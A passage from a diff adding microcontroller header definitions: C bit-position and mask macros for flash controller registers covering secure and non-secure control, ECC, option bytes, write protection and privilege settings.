FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0x1FUL << FLASH_NSCR_PNB_Pos) /*!< 0x000001F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0x1FUL << FLASH_SECCR_PNB_Pos) /*!< 0x000001F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x3FFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x0003FFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x3FFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x0003FFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0x1FUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0x1FUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0x1FUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0x1FUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0x1FUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0x1FUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0x1FUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0x1FUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0x1FUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0x1FUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0x1FUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0x1FUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0x1FUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0x1FUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << 